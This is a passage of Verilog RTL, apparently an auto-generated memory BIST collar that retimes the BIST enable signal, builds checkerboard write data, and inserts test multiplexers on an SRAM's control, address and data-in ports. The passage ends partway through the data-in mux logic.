input RESET_REG_SETUP2;
wire COLLAR_STATUS_SI;
wire BIST_INPUT_SELECT_INT;
wire [0:0] ERROR,ERROR_R;
reg [4:0] SCAN_OBS_FLOPS;
wire [31:0] DATA_TO_MEM;
wire [31:0] DATA_FROM_MEM;
wire [31:0] DATA_FROM_MEM_EXP;
wire CSB_TEST_IN;
reg CSB_NOT_GATED;
wire CSB_TO_MUX;
wire OE_TEST_IN;
reg OE_NOT_GATED;
wire OE_TO_MUX;
wire WEB3_TEST_IN;
reg WEB3_NOT_GATED;
wire WEB3_TO_MUX;
wire WEB2_TEST_IN;
reg WEB2_NOT_GATED;
wire WEB2_TO_MUX;
wire WEB1_TEST_IN;
reg WEB1_NOT_GATED;
wire WEB1_TO_MUX;
wire WEB0_TEST_IN;
reg WEB0_NOT_GATED;
wire WEB0_TO_MUX;
wire A11_TEST_IN;
reg A11;
wire A10_TEST_IN;
reg A10;
wire A9_TEST_IN;
reg A9;
wire A8_TEST_IN;
reg A8;
wire A7_TEST_IN;
reg A7;
wire A6_TEST_IN;
reg A6;
wire A5_TEST_IN;
reg A5;
wire A4_TEST_IN;
reg A4;
wire A3_TEST_IN;
reg A3;
wire A2_TEST_IN;
reg A2;
wire A1_TEST_IN;
reg A1;
wire A0_TEST_IN;
reg A0;
wire DI31_DIN_OBS;
wire DI30_DIN_OBS;
wire DI29_DIN_OBS;
wire DI28_DIN_OBS;
wire DI27_DIN_OBS;
wire DI26_DIN_OBS;
wire DI25_DIN_OBS;
wire DI24_DIN_OBS;
wire DI23_DIN_OBS;
wire DI22_DIN_OBS;
wire DI21_DIN_OBS;
wire DI20_DIN_OBS;
wire DI19_DIN_OBS;
wire DI18_DIN_OBS;
wire DI17_DIN_OBS;
wire DI16_DIN_OBS;
wire DI15_DIN_OBS;
wire DI14_DIN_OBS;
wire DI13_DIN_OBS;
wire DI12_DIN_OBS;
wire DI11_DIN_OBS;
wire DI10_DIN_OBS;
wire DI9_DIN_OBS;
wire DI8_DIN_OBS;
wire DI7_DIN_OBS;
wire DI6_DIN_OBS;
wire DI5_DIN_OBS;
wire DI4_DIN_OBS;
wire DI3_DIN_OBS;
wire DI2_DIN_OBS;
wire DI1_DIN_OBS;
wire DI0_DIN_OBS;
wire DO31_TO_BYPASS;
wire DO31_FROM_BYPASS;
wire DO30_TO_BYPASS;
wire DO30_FROM_BYPASS;
wire DO29_TO_BYPASS;
wire DO29_FROM_BYPASS;
wire DO28_TO_BYPASS;
wire DO28_FROM_BYPASS;
wire DO27_TO_BYPASS;
wire DO27_FROM_BYPASS;
wire DO26_TO_BYPASS;
wire DO26_FROM_BYPASS;
wire DO25_TO_BYPASS;
wire DO25_FROM_BYPASS;
wire DO24_TO_BYPASS;
wire DO24_FROM_BYPASS;
wire DO23_TO_BYPASS;
wire DO23_FROM_BYPASS;
wire DO22_TO_BYPASS;
wire DO22_FROM_BYPASS;
wire DO21_TO_BYPASS;
wire DO21_FROM_BYPASS;
wire DO20_TO_BYPASS;
wire DO20_FROM_BYPASS;
wire DO19_TO_BYPASS;
wire DO19_FROM_BYPASS;
wire DO18_TO_BYPASS;
wire DO18_FROM_BYPASS;
wire DO17_TO_BYPASS;
wire DO17_FROM_BYPASS;
wire DO16_TO_BYPASS;
wire DO16_FROM_BYPASS;
wire DO15_TO_BYPASS;
wire DO15_FROM_BYPASS;
wire DO14_TO_BYPASS;
wire DO14_FROM_BYPASS;
wire DO13_TO_BYPASS;
wire DO13_FROM_BYPASS;
wire DO12_TO_BYPASS;
wire DO12_FROM_BYPASS;
wire DO11_TO_BYPASS;
wire DO11_FROM_BYPASS;
wire DO10_TO_BYPASS;
wire DO10_FROM_BYPASS;
wire DO9_TO_BYPASS;
wire DO9_FROM_BYPASS;
wire DO8_TO_BYPASS;
wire DO8_FROM_BYPASS;
wire DO7_TO_BYPASS;
wire DO7_FROM_BYPASS;
wire DO6_TO_BYPASS;
wire DO6_FROM_BYPASS;
wire DO5_TO_BYPASS;
wire DO5_FROM_BYPASS;
wire DO4_TO_BYPASS;
wire DO4_FROM_BYPASS;
wire DO3_TO_BYPASS;
wire DO3_FROM_BYPASS;
wire DO2_TO_BYPASS;
wire DO2_FROM_BYPASS;
wire DO1_TO_BYPASS;
wire DO1_FROM_BYPASS;
wire DO0_TO_BYPASS;
wire DO0_FROM_BYPASS;
reg DI31;
wire DI31_TEST_IN;
reg DI30;
wire DI30_TEST_IN;
reg DI29;
wire DI29_TEST_IN;
reg DI28;
wire DI28_TEST_IN;
reg DI27;
wire DI27_TEST_IN;
reg DI26;
wire DI26_TEST_IN;
reg DI25;
wire DI25_TEST_IN;
reg DI24;
wire DI24_TEST_IN;
reg DI23;
wire DI23_TEST_IN;
reg DI22;
wire DI22_TEST_IN;
reg DI21;
wire DI21_TEST_IN;
reg DI20;
wire DI20_TEST_IN;
reg DI19;
wire DI19_TEST_IN;
reg DI18;
wire DI18_TEST_IN;
reg DI17;
wire DI17_TEST_IN;
reg DI16;
wire DI16_TEST_IN;
reg DI15;
wire DI15_TEST_IN;
reg DI14;
wire DI14_TEST_IN;
reg DI13;
wire DI13_TEST_IN;
reg DI12;
wire DI12_TEST_IN;
reg DI11;
wire DI11_TEST_IN;
reg DI10;
wire DI10_TEST_IN;
reg DI9;
wire DI9_TEST_IN;
reg DI8;
wire DI8_TEST_IN;
reg DI7;
wire DI7_TEST_IN;
reg DI6;
wire DI6_TEST_IN;
reg DI5;
wire DI5_TEST_IN;
reg DI4;
wire DI4_TEST_IN;
reg DI3;
wire DI3_TEST_IN;
reg DI2;
wire DI2_TEST_IN;
reg DI1;
wire DI1_TEST_IN;
reg DI0;
wire DI0_TEST_IN;
reg DO31_SCAN_IN;
reg DO30_SCAN_IN;
reg DO29_SCAN_IN;
reg DO28_SCAN_IN;
reg DO27_SCAN_IN;
reg DO26_SCAN_IN;
reg DO25_SCAN_IN;
reg DO24_SCAN_IN;
reg DO23_SCAN_IN;
reg DO22_SCAN_IN;
reg DO21_SCAN_IN;
reg DO20_SCAN_IN;
reg DO19_SCAN_IN;
reg DO18_SCAN_IN;
reg DO17_SCAN_IN;
reg DO16_SCAN_IN;
reg DO15_SCAN_IN;
reg DO14_SCAN_IN;
reg DO13_SCAN_IN;
reg DO12_SCAN_IN;
reg DO11_SCAN_IN;
reg DO10_SCAN_IN;
reg DO9_SCAN_IN;
reg DO8_SCAN_IN;
reg DO7_SCAN_IN;
reg DO6_SCAN_IN;
reg DO5_SCAN_IN;
reg DO4_SCAN_IN;
reg DO3_SCAN_IN;
reg DO2_SCAN_IN;
reg DO1_SCAN_IN;
reg DO0_SCAN_IN;
wire LOGIC_HIGH = 1'b1;
wire USE_DEFAULTS;
wire BIST_COLLAR_HOLD_INT;
wire BIST_SETUP0_SYNC;
//---------------------------
// Memory Interface Main Code
//---------------------------
assign BIST_CLK_INT = BIST_CLK;
//----------------------
//-- BIST_ON Sync-ing --
//----------------------
assign BIST_SETUP0_SYNC = BIST_SETUP0 & BIST_ON;
//----------------------
//-- BIST_EN Retiming --
//----------------------
assign BIST_EN_RST = ~BIST_ASYNC_RESETN;
assign BIST_EN_RETIME1_IN = BIST_EN;
// Posedge retiming cell for non-TCK mode
SMARCHCHKB_LVISION_MBISTPG_RETIMING_CELL MBIST_NTC_RETIMING_CELL (
.CLK ( BIST_CLK_INT ), // i
.R ( ~BIST_ASYNC_RESETN ), // i
.RETIME_IN ( BIST_EN_RETIME1_IN ), // i
.RETIME_OUT ( BIST_EN_RETIME1 ) // o
);
// synopsys async_set_reset "BIST_EN_RST_TCK_MODE"
assign BIST_EN_RST_TCK_MODE = (~TCK_MODE | LV_TM) | BIST_EN_RST;
// Negedge retiming flop for TCK mode
// synopsys async_set_reset "BIST_EN_RST_TCK_MODE"
always @ (negedge BIST_CLK_INT or posedge BIST_EN_RST_TCK_MODE) begin
if (BIST_EN_RST_TCK_MODE)
BIST_EN_RETIME1_TCK_MODE <= 1'b0;
else
BIST_EN_RETIME1_TCK_MODE <= BIST_EN_RETIME1_IN;
end
assign TCK_MODE_INT = TCK_MODE & ~LV_TM;
assign BIST_EN_RETIME2_IN = (TCK_MODE_INT) ? BIST_EN_RETIME1_TCK_MODE : BIST_EN_RETIME1;
// Posedge stage
//synopsys async_set_reset "BIST_EN_RST"
always @ (posedge BIST_CLK_INT or posedge BIST_EN_RST) begin
if (BIST_EN_RST)
BIST_EN_RETIME2 <= 1'b0;
else
if (~LV_TM)
BIST_EN_RETIME2 <= BIST_EN_RETIME2_IN;
end
// Retimed BIST_EN
assign BIST_ON_INT = BIST_EN_RETIME2;
assign BIST_ON = BIST_ON_INT;
assign BIST_INPUT_SELECT_RST = ~BIST_TESTDATA_SELECT_TO_COLLAR & ~LV_TM & ~BIST_EN_RETIME2_IN;
// synopsys async_set_reset "BIST_ASYNC_RESETN"
//synopsys sync_set_reset "BIST_INPUT_SELECT_RST"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
BIST_INPUT_SELECT <= 1'b0;
else
if (BIST_INPUT_SELECT_RST) begin
BIST_INPUT_SELECT <= 1'b0;
end else begin
BIST_INPUT_SELECT <= BIST_ON | BIST_INPUT_SELECT;
end
end
assign #(10.0) BIST_INPUT_SELECT_INT = BIST_INPUT_SELECT;
assign USE_DEFAULTS = ~BIST_SETUP0_SYNC | LV_TM;
assign BIST_COLLAR_HOLD_INT = BIST_COLLAR_HOLD;
//-----------------------
//-- Observation Logic --
//-----------------------
// synopsys async_set_reset "BIST_ASYNC_RESETN"
always @ (posedge BIST_CLK_INT or negedge BIST_ASYNC_RESETN) begin
if (~BIST_ASYNC_RESETN)
SCAN_OBS_FLOPS <= 5'b00000;
else
SCAN_OBS_FLOPS <= {
CSB_NOT_GATED ^ OE_NOT_GATED ^ WEB3_NOT_GATED ^ WEB2_NOT_GATED ,
WEB1_NOT_GATED ^ WEB0_NOT_GATED ^ A11 ^ A10 ,
A9 ^ A8 ^ A7 ^ A6 ,
A5 ^ A4 ^ A3 ^ A2 ,
A1 ^ A0
};
end
//--------------------------
//-- Replicate Write Data --
//--------------------------
assign BIST_WRITE_DATA_REP = {
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA,
BIST_WRITE_DATA
};
//-----------------------
//-- Checkerboard Data --
//-----------------------
assign BIST_WRITE_DATA_INT = ~(CHKBCI_PHASE) ? BIST_WRITE_DATA_REP : ({32{BIST_WRITE_DATA_REP[0]}} ^ {32{BIST_COL_ADD[0]}});
assign DATA_TO_MEM = BIST_WRITE_DATA_INT;
//--------------------------
//-- Memory Control Ports --
//--------------------------
// Port: CSB LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( CSB_IN or CSB_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : CSB_NOT_GATED = CSB_IN;
1'b1 : CSB_NOT_GATED = CSB_TEST_IN;
endcase
end
// Disable memory port during logic test
assign CSB = CSB_NOT_GATED | LV_TM;
// Control logic during memory test
assign #(10.0) CSB_TEST_IN = ~(BIST_COLLAR_EN & CSB_TO_MUX);
assign CSB_TO_MUX = BIST_SELECT;
// Port: CSB }}}
// Port: OE LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( OE_IN or OE_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : OE_NOT_GATED = OE_IN;
1'b1 : OE_NOT_GATED = OE_TEST_IN;
endcase
end
// Disable memory port during logic test
assign OE = OE_NOT_GATED & ~LV_TM ;
// Control logic during memory test
assign #(10.0) OE_TEST_IN = OE_TO_MUX;
assign OE_TO_MUX = BIST_OUTPUTENABLE;
// Port: OE }}}
// Port: WEB3 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( WEB3_IN or WEB3_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : WEB3_NOT_GATED = WEB3_IN;
1'b1 : WEB3_NOT_GATED = WEB3_TEST_IN;
endcase
end
// Disable memory port during logic test
assign WEB3 = WEB3_NOT_GATED | LV_TM;
// Control logic during memory test
assign #(10.0) WEB3_TEST_IN = ~(BIST_COLLAR_EN & WEB3_TO_MUX);
assign WEB3_TO_MUX = BIST_WRITEENABLE;
// Port: WEB3 }}}
// Port: WEB2 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( WEB2_IN or WEB2_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : WEB2_NOT_GATED = WEB2_IN;
1'b1 : WEB2_NOT_GATED = WEB2_TEST_IN;
endcase
end
// Disable memory port during logic test
assign WEB2 = WEB2_NOT_GATED | LV_TM;
// Control logic during memory test
assign #(10.0) WEB2_TEST_IN = ~(BIST_COLLAR_EN & WEB2_TO_MUX);
assign WEB2_TO_MUX = BIST_WRITEENABLE;
// Port: WEB2 }}}
// Port: WEB1 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( WEB1_IN or WEB1_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : WEB1_NOT_GATED = WEB1_IN;
1'b1 : WEB1_NOT_GATED = WEB1_TEST_IN;
endcase
end
// Disable memory port during logic test
assign WEB1 = WEB1_NOT_GATED | LV_TM;
// Control logic during memory test
assign #(10.0) WEB1_TEST_IN = ~(BIST_COLLAR_EN & WEB1_TO_MUX);
assign WEB1_TO_MUX = BIST_WRITEENABLE;
// Port: WEB1 }}}
// Port: WEB0 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( WEB0_IN or WEB0_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : WEB0_NOT_GATED = WEB0_IN;
1'b1 : WEB0_NOT_GATED = WEB0_TEST_IN;
endcase
end
// Disable memory port during logic test
assign WEB0 = WEB0_NOT_GATED | LV_TM;
// Control logic during memory test
assign #(10.0) WEB0_TEST_IN = ~(BIST_COLLAR_EN & WEB0_TO_MUX);
assign WEB0_TO_MUX = BIST_WRITEENABLE;
// Port: WEB0 }}}
//--------------------------
//-- Memory Address Ports --
//--------------------------
// Port: A11 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A11_IN or A11_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A11 = A11_IN;
1'b1 : A11 = A11_TEST_IN;
endcase
end
// Address logic during memory test
wire [2:0] BIST_COL_ADD_SHADOW_A;
wire [8:0] BIST_ROW_ADD_SHADOW_A;
assign BIST_ROW_ADD_SHADOW_A[8] = BIST_ROW_ADD[8];
assign #(10.0) A11_TEST_IN = BIST_ROW_ADD_SHADOW_A[8];
// Port: A11 }}}
// Port: A10 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A10_IN or A10_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A10 = A10_IN;
1'b1 : A10 = A10_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[7] = BIST_ROW_ADD[7];
assign #(10.0) A10_TEST_IN = BIST_ROW_ADD_SHADOW_A[7];
// Port: A10 }}}
// Port: A9 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A9_IN or A9_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A9 = A9_IN;
1'b1 : A9 = A9_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[6] = BIST_ROW_ADD[6];
assign #(10.0) A9_TEST_IN = BIST_ROW_ADD_SHADOW_A[6];
// Port: A9 }}}
// Port: A8 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A8_IN or A8_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A8 = A8_IN;
1'b1 : A8 = A8_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[5] = BIST_ROW_ADD[5];
assign #(10.0) A8_TEST_IN = BIST_ROW_ADD_SHADOW_A[5];
// Port: A8 }}}
// Port: A7 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A7_IN or A7_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A7 = A7_IN;
1'b1 : A7 = A7_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[4] = BIST_ROW_ADD[4];
assign #(10.0) A7_TEST_IN = BIST_ROW_ADD_SHADOW_A[4];
// Port: A7 }}}
// Port: A6 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A6_IN or A6_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A6 = A6_IN;
1'b1 : A6 = A6_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[3] = BIST_ROW_ADD[3];
assign #(10.0) A6_TEST_IN = BIST_ROW_ADD_SHADOW_A[3];
// Port: A6 }}}
// Port: A5 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A5_IN or A5_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A5 = A5_IN;
1'b1 : A5 = A5_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[2] = BIST_ROW_ADD[2];
assign #(10.0) A5_TEST_IN = BIST_ROW_ADD_SHADOW_A[2];
// Port: A5 }}}
// Port: A4 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A4_IN or A4_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A4 = A4_IN;
1'b1 : A4 = A4_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[1] = BIST_ROW_ADD[1];
assign #(10.0) A4_TEST_IN = BIST_ROW_ADD_SHADOW_A[1];
// Port: A4 }}}
// Port: A3 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A3_IN or A3_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A3 = A3_IN;
1'b1 : A3 = A3_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_ROW_ADD_SHADOW_A[0] = BIST_ROW_ADD[0];
assign #(10.0) A3_TEST_IN = BIST_ROW_ADD_SHADOW_A[0];
// Port: A3 }}}
// Port: A2 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A2_IN or A2_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A2 = A2_IN;
1'b1 : A2 = A2_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_COL_ADD_SHADOW_A[2] = BIST_COL_ADD[2];
assign #(10.0) A2_TEST_IN = BIST_COL_ADD_SHADOW_A[2];
// Port: A2 }}}
// Port: A1 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A1_IN or A1_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A1 = A1_IN;
1'b1 : A1 = A1_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_COL_ADD_SHADOW_A[1] = BIST_COL_ADD[1];
assign #(10.0) A1_TEST_IN = BIST_COL_ADD_SHADOW_A[1];
// Port: A1 }}}
// Port: A0 LogicalPort: A Type: READWRITE {{{
// Intercept functional signal with test mux
always @( A0_IN or A0_TEST_IN or BIST_INPUT_SELECT_INT) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : A0 = A0_IN;
1'b1 : A0 = A0_TEST_IN;
endcase
end
// Address logic during memory test
assign BIST_COL_ADD_SHADOW_A[0] = BIST_COL_ADD[0];
assign #(10.0) A0_TEST_IN = BIST_COL_ADD_SHADOW_A[0];
// Port: A0 }}}
//--------------------
//-- Data To Memory --
//--------------------
// Intercept functional signal with test mux
always @( DI31_IN or DI31_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI31 = DI31_IN;
1'b1 : DI31 = DI31_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI31_TEST_IN = DATA_TO_MEM[31];
// External memory bypass during logic test
assign DI31_DIN_OBS = DI31;
// Intercept functional signal with test mux
always @( DI30_IN or DI30_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI30 = DI30_IN;
1'b1 : DI30 = DI30_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI30_TEST_IN = DATA_TO_MEM[30];
// External memory bypass during logic test
assign DI30_DIN_OBS = DI30;
// Intercept functional signal with test mux
always @( DI29_IN or DI29_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI29 = DI29_IN;
1'b1 : DI29 = DI29_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI29_TEST_IN = DATA_TO_MEM[29];
// External memory bypass during logic test
assign DI29_DIN_OBS = DI29;
// Intercept functional signal with test mux
always @( DI28_IN or DI28_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI28 = DI28_IN;
1'b1 : DI28 = DI28_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI28_TEST_IN = DATA_TO_MEM[28];
// External memory bypass during logic test
assign DI28_DIN_OBS = DI28;
// Intercept functional signal with test mux
always @( DI27_IN or DI27_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI27 = DI27_IN;
1'b1 : DI27 = DI27_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI27_TEST_IN = DATA_TO_MEM[27];
// External memory bypass during logic test
assign DI27_DIN_OBS = DI27;
// Intercept functional signal with test mux
always @( DI26_IN or DI26_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI26 = DI26_IN;
1'b1 : DI26 = DI26_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI26_TEST_IN = DATA_TO_MEM[26];
// External memory bypass during logic test
assign DI26_DIN_OBS = DI26;
// Intercept functional signal with test mux
always @( DI25_IN or DI25_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI25 = DI25_IN;
1'b1 : DI25 = DI25_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI25_TEST_IN = DATA_TO_MEM[25];
// External memory bypass during logic test
assign DI25_DIN_OBS = DI25;
// Intercept functional signal with test mux
always @( DI24_IN or DI24_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI24 = DI24_IN;
1'b1 : DI24 = DI24_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI24_TEST_IN = DATA_TO_MEM[24];
// External memory bypass during logic test
assign DI24_DIN_OBS = DI24;
// Intercept functional signal with test mux
always @( DI23_IN or DI23_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI23 = DI23_IN;
1'b1 : DI23 = DI23_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI23_TEST_IN = DATA_TO_MEM[23];
// External memory bypass during logic test
assign DI23_DIN_OBS = DI23;
// Intercept functional signal with test mux
always @( DI22_IN or DI22_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI22 = DI22_IN;
1'b1 : DI22 = DI22_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI22_TEST_IN = DATA_TO_MEM[22];
// External memory bypass during logic test
assign DI22_DIN_OBS = DI22;
// Intercept functional signal with test mux
always @( DI21_IN or DI21_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI21 = DI21_IN;
1'b1 : DI21 = DI21_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI21_TEST_IN = DATA_TO_MEM[21];
// External memory bypass during logic test
assign DI21_DIN_OBS = DI21;
// Intercept functional signal with test mux
always @( DI20_IN or DI20_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI20 = DI20_IN;
1'b1 : DI20 = DI20_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI20_TEST_IN = DATA_TO_MEM[20];
// External memory bypass during logic test
assign DI20_DIN_OBS = DI20;
// Intercept functional signal with test mux
always @( DI19_IN or DI19_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI19 = DI19_IN;
1'b1 : DI19 = DI19_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI19_TEST_IN = DATA_TO_MEM[19];
// External memory bypass during logic test
assign DI19_DIN_OBS = DI19;
// Intercept functional signal with test mux
always @( DI18_IN or DI18_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI18 = DI18_IN;
1'b1 : DI18 = DI18_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI18_TEST_IN = DATA_TO_MEM[18];
// External memory bypass during logic test
assign DI18_DIN_OBS = DI18;
// Intercept functional signal with test mux
always @( DI17_IN or DI17_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI17 = DI17_IN;
1'b1 : DI17 = DI17_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI17_TEST_IN = DATA_TO_MEM[17];
// External memory bypass during logic test
assign DI17_DIN_OBS = DI17;
// Intercept functional signal with test mux
always @( DI16_IN or DI16_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI16 = DI16_IN;
1'b1 : DI16 = DI16_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI16_TEST_IN = DATA_TO_MEM[16];
// External memory bypass during logic test
assign DI16_DIN_OBS = DI16;
// Intercept functional signal with test mux
always @( DI15_IN or DI15_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI15 = DI15_IN;
1'b1 : DI15 = DI15_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI15_TEST_IN = DATA_TO_MEM[15];
// External memory bypass during logic test
assign DI15_DIN_OBS = DI15;
// Intercept functional signal with test mux
always @( DI14_IN or DI14_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI14 = DI14_IN;
1'b1 : DI14 = DI14_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI14_TEST_IN = DATA_TO_MEM[14];
// External memory bypass during logic test
assign DI14_DIN_OBS = DI14;
// Intercept functional signal with test mux
always @( DI13_IN or DI13_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI13 = DI13_IN;
1'b1 : DI13 = DI13_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI13_TEST_IN = DATA_TO_MEM[13];
// External memory bypass during logic test
assign DI13_DIN_OBS = DI13;
// Intercept functional signal with test mux
always @( DI12_IN or DI12_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI12 = DI12_IN;
1'b1 : DI12 = DI12_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI12_TEST_IN = DATA_TO_MEM[12];
// External memory bypass during logic test
assign DI12_DIN_OBS = DI12;
// Intercept functional signal with test mux
always @( DI11_IN or DI11_TEST_IN or BIST_INPUT_SELECT_INT ) begin
case (BIST_INPUT_SELECT_INT) // synopsys infer_mux
1'b0 : DI11 = DI11_IN;
1'b1 : DI11 = DI11_TEST_IN;
endcase
end
// Write data during memory test
assign #(10.0) DI11_TEST_IN = DATA_TO_MEM[11];
// External memory bypass during logic test
assign DI11_DIN_OBS = DI11;
// Intercept functional signal with test mux
always @( DI10_IN or DI10_TEST_IN or BIST_INPUT_SELECT_INT ) begin
